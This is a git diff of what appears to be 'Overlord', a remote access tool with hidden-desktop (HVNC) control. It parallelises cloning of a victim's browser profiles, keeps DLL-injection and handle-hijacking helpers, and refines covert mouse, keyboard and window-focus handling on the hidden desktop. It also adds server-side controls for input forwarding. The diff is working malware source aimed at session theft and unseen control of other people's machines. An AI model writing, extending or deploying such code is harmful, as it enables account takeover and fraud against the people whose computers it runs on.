diff --git a/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go
index 20a00ef..a87aeb7 100644
--- a/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go
+++ b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go
@@ -3,13 +3,35 @@
package capture
import (
+ "io"
"log"
"os"
+ "path/filepath"
"strings"
"syscall"
"unsafe"
)
+func copyFileCount(src, dst string) (int64, error) {
+ in, err := os.Open(src)
+ if err != nil {
+ return 0, err
+ }
+ defer in.Close()
+
+ if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
+ return 0, err
+ }
+ out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
+ if err != nil {
+ return 0, err
+ }
+ defer out.Close()
+
+ n, err := io.Copy(out, in)
+ return n, err
+}
+
var (
ntdll = syscall.NewLazyDLL("ntdll.dll")
rstrtmgr = syscall.NewLazyDLL("rstrtmgr.dll")
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
index 7cde46e..78e0afe 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
@@ -5,11 +5,12 @@ package capture
import (
"encoding/binary"
"fmt"
- "io"
"log"
"os"
"path/filepath"
"strings"
+ "sync"
+ "sync/atomic"
"syscall"
"time"
"unsafe"
@@ -421,22 +422,14 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
onProgress(0, 0, totalBytes, "cloning")
}
- var copiedBytes int64
- lastPercent := -1
+ type copyJob struct {
+ src string
+ dst string
+ }
+ var jobs []copyJob
- reportProgress := func(n int64) {
- if onProgress == nil || totalBytes <= 0 {
- return
- }
- copiedBytes += n
- pct := int(copiedBytes * 100 / totalBytes)
- if pct > 100 {
- pct = 100
- }
- if pct != lastPercent {
- lastPercent = pct
- onProgress(pct, copiedBytes, totalBytes, "cloning")
- }
+ collectFile := func(src, dst string) {
+ jobs = append(jobs, copyJob{src: src, dst: dst})
}
for _, entry := range entries {
@@ -445,29 +438,70 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
dst := filepath.Join(cloneBase, name)
if entry.IsDir() {
- // For profile directories (Default, Profile N), clone contents but skip caches inside
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
if isProfile {
- if err := cloneProfileDirProgress(browserName, src, dst, skipDirs, reportProgress); err != nil {
- log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
- }
+ collectProfileDir(src, dst, skipDirs, collectFile)
} else if !skipDirs[strings.ToLower(name)] {
- // Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
- if err := copyDirProgress(src, dst, reportProgress); err != nil {
- log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
- }
+ collectDirFiles(src, dst, collectFile)
}
} else {
- // Top-level files (Local State, etc.)
- n, err := forceCopyFile(src, dst)
- if err != nil {
- log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
- } else {
- reportProgress(n)
- }
+ collectFile(src, dst)
}
}
+ log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
+
+ dirs := make(map[string]struct{})
+ for _, j := range jobs {
+ dirs[filepath.Dir(j.dst)] = struct{}{}
+ }
+ for d := range dirs {
+ os.MkdirAll(d, 0700)
+ }
+
+ const numWorkers = 8
+ jobCh := make(chan copyJob, 256)
+ var wg sync.WaitGroup
+ var copiedBytes atomic.Int64
+ var lastPercent atomic.Int32
+ lastPercent.Store(-1)
+
+ reportProgress := func(n int64) {
+ if onProgress == nil || totalBytes <= 0 || n <= 0 {
+ return
+ }
+ cur := copiedBytes.Add(n)
+ pct := int32(cur * 100 / totalBytes)
+ if pct > 100 {
+ pct = 100
+ }
+ prev := lastPercent.Load()
+ if pct > prev && lastPercent.CompareAndSwap(prev, pct) {
+ onProgress(int(pct), cur, totalBytes, "cloning")
+ }
+ }
+
+ for i := 0; i < numWorkers; i++ {
+ wg.Add(1)
+ go func() {
+ defer wg.Done()
+ for job := range jobCh {
+ n, err := forceCopyFile(job.src, job.dst)
+ if err != nil {
+ log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
+ } else {
+ reportProgress(n)
+ }
+ }
+ }()
+ }
+
+ for _, job := range jobs {
+ jobCh <- job
+ }
+ close(jobCh)
+ wg.Wait()
+
if onProgress != nil {
onProgress(100, totalBytes, totalBytes, "done")
}
@@ -475,6 +509,37 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
return cloneBase, nil
}
+func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(string, string)) {
+ entries, err := os.ReadDir(src)
+ if err != nil {
+ return
+ }
+ for _, entry := range entries {
+ name := entry.Name()
+ s := filepath.Join(src, name)
+ d := filepath.Join(dst, name)
+ if entry.IsDir() {
+ if skipDirs[strings.ToLower(name)] {
+ continue
+ }
+ collectDirFiles(s, d, collect)
+ } else {
+ collect(s, d)
+ }
+ }
+}
+
+func collectDirFiles(src, dst string, collect func(string, string)) {
+ filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
+ if err != nil || info.IsDir() {
+ return nil
+ }
+ rel, _ := filepath.Rel(src, path)
+ collect(path, filepath.Join(dst, rel))
+ return nil
+ })
+}
+
// calcCloneSize walks the source user data directory and returns the total
// byte count of files that would be copied (respecting skipDirs).
func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
@@ -538,77 +603,6 @@ func calcDirSize(dir string) int64 {
return total
}
-// cloneProfileDirProgress copies a profile directory with progress reporting.
-func cloneProfileDirProgress(browserName, src, dst string, skipDirs map[string]bool, report func(int64)) error {
- if err := os.MkdirAll(dst, 0700); err != nil {
- return err
- }
- entries, err := os.ReadDir(src)
- if err != nil {
- return err
- }
- for _, entry := range entries {
- name := entry.Name()
- s := filepath.Join(src, name)
- d := filepath.Join(dst, name)
-
- if entry.IsDir() {
- if skipDirs[strings.ToLower(name)] {
- continue
- }
- if err := copyDirProgress(s, d, report); err != nil {
- log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
- }
- } else {
- n, err := forceCopyFile(s, d)
- if err != nil {
- log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
- } else {
- report(n)
- }
- }
- }
- return nil
-}
-
-func copyFileCount(src, dst string) (int64, error) {
- in, err := os.Open(src)
- if err != nil {
- return 0, err
- }
- defer in.Close()
-
- if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
- return 0, err
- }
- out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
- if err != nil {
- return 0, err
- }
- defer out.Close()
-
- n, err := io.Copy(out, in)
- return n, err
-}
-
-func copyDirProgress(src, dst string, report func(int64)) error {
- return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
- if err != nil {
- return nil // skip errors
- }
- rel, _ := filepath.Rel(src, path)
- target := filepath.Join(dst, rel)
- if info.IsDir() {
- return os.MkdirAll(target, 0700)
- }
- n, err := forceCopyFile(path, target)
- if err == nil {
- report(n)
- }
- return err
- })
-}
-
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index f797881..d647e1c 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -6,6 +6,7 @@ import (
"fmt"
"image"
"log"
+ "math"
"runtime"
"strings"
"sync"
@@ -170,6 +171,7 @@ var (
hvncCurrentTaskID atomic.Uint64
hvncCurrentTaskKind atomic.Int64
hvncCurrentTaskNs atomic.Int64
+ hvncLastScale atomic.Uint64 // float64 bits — scale used by last HVNC capture
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
hvncWinCache map[uintptr]*hvncWinCacheEntry
@@ -385,6 +387,7 @@ func CleanupHVNCDesktop() {
hvncHasCursor = false
hvncWorkingWindow = 0
hvncInputMu.Unlock()
+ hvncLastScale.Store(0)
if hvncDesktopHandle != 0 {
if hvncOriginalDesktop != 0 {
@@ -731,6 +734,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
}
userScale := effectiveScale(srcW, srcH)
+ hvncLastScale.Store(math.Float64bits(userScale))
dstW := int(float64(srcW) * userScale)
dstH := int(float64(srcH) * userScale)
if dstW <= 0 || dstH <= 0 {
@@ -930,6 +934,13 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
return nil
}
+ if bits := hvncLastScale.Load(); bits != 0 {
+ if s := math.Float64frombits(bits); s > 0 && s < 1 {
+ x = int32(float64(x) / s)
+ y = int32(float64(y) / s)
+ }
+ }
+
absX := bounds.Min.X + int(x)
absY := bounds.Min.Y + int(y)
if absX < bounds.Min.X {
@@ -954,7 +965,14 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
pt := point{x: int32(absX), y: int32(absY)}
hitHwnd := windowFromPoint(pt)
if hitHwnd != 0 {
+ root := rootWindow(hitHwnd)
+ prevWorking := getWorkingWindow()
rememberWorkingWindow(hitHwnd)
+ if prevWorking == 0 || rootWindow(prevWorking) != root {
+ procSetForegroundWindow.Call(root)
+ procSetActiveWindow.Call(root)
+ procSetFocus.Call(hitHwnd)
+ }
clientPt := pt
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
@@ -969,13 +987,23 @@ func hvncMouseButtonOnThread(button int, down bool) error {
endHVNCWindowDrag(pt)
}
+ setMouseButton(button, down)
+
hitHwnd := windowFromPoint(pt)
if hitHwnd == 0 {
return nil
}
+ root := rootWindow(hitHwnd)
+ prevWorking := getWorkingWindow()
rememberWorkingWindow(hitHwnd)
+ if down && (prevWorking == 0 || rootWindow(prevWorking) != root) {
+ procSetForegroundWindow.Call(root)
+ procSetActiveWindow.Call(root)
+ procSetFocus.Call(hitHwnd)
+ }
+
if button == 0 {
lparam := makeLParam(pt.x, pt.y)
hitTest := safeNCHitTest(hitHwnd, lparam)
@@ -1065,10 +1093,20 @@ func hvncKeyOnThread(vk uint16, down bool) error {
if hwnd == 0 {
hwnd = getWorkingWindow()
}
+ if hwnd == 0 {
+ hwnd = findAnyVisibleTopLevelWindow()
+ }
if hwnd == 0 {
return nil
}
- rememberWorkingWindow(rootWindow(hwnd))
+ root := rootWindow(hwnd)
+ prevWorking := getWorkingWindow()
+ rememberWorkingWindow(root)
+ if prevWorking == 0 || rootWindow(prevWorking) != root {
+ procSetForegroundWindow.Call(root)
+ procSetActiveWindow.Call(root)
+ procSetFocus.Call(hwnd)
+ }
updateModifierState(vk, down)
if isModifierVK(vk) {
@@ -1094,6 +1132,17 @@ func foregroundWindow() uintptr {
return r
}
+func findAnyVisibleTopLevelWindow() uintptr {
+ hwnd := getTopWindow(0)
+ for hwnd != 0 {
+ if isWindowVisible(hwnd) {
+ return hwnd
+ }
+ hwnd = getWindow(hwnd, GW_HWNDNEXT)
+ }
+ return 0
+}
+
func makeLParam(x, y int32) uintptr {
return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF))
}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index e4c105b..2d9bdc9 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -1356,7 +1356,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
exePath := ""
clone := true
cloneLite := false
- killIfRunning := true
+ killIfRunning := false
if payload != nil {
if v, ok := payload["browser"].(string); ok {
browser = v
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index 074fcb6..9e107de 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -66,6 +66,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const agentFps = document.getElementById("agentFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
+
+ function syncInputEnableState() {
+ if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
+ if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
+ if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
+ }
let activeClientId = clientId;
let renderCount = 0;
let renderWindowStart = performance.now();
@@ -232,6 +238,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
sendCmd("hvnc_start", {
autoStartExplorer: false,
});
+ syncInputEnableState();
} else {
setStreamState("idle", "Stopped");
}
@@ -475,6 +482,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
sendCmd("hvnc_start", {
autoStartExplorer: false,
});
+ syncInputEnableState();
});
stopBtn.addEventListener("click", function () {
desiredStreaming = false;
@@ -673,6 +681,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
}
sendCmd("hvnc_start", { autoStartExplorer: false });
+ syncInputEnableState();
} else {
setStreamState("idle", "Stopped");
}
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index e7a7794..e0b36cb 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -176,7 +176,7 @@
Lite clone (no extensions)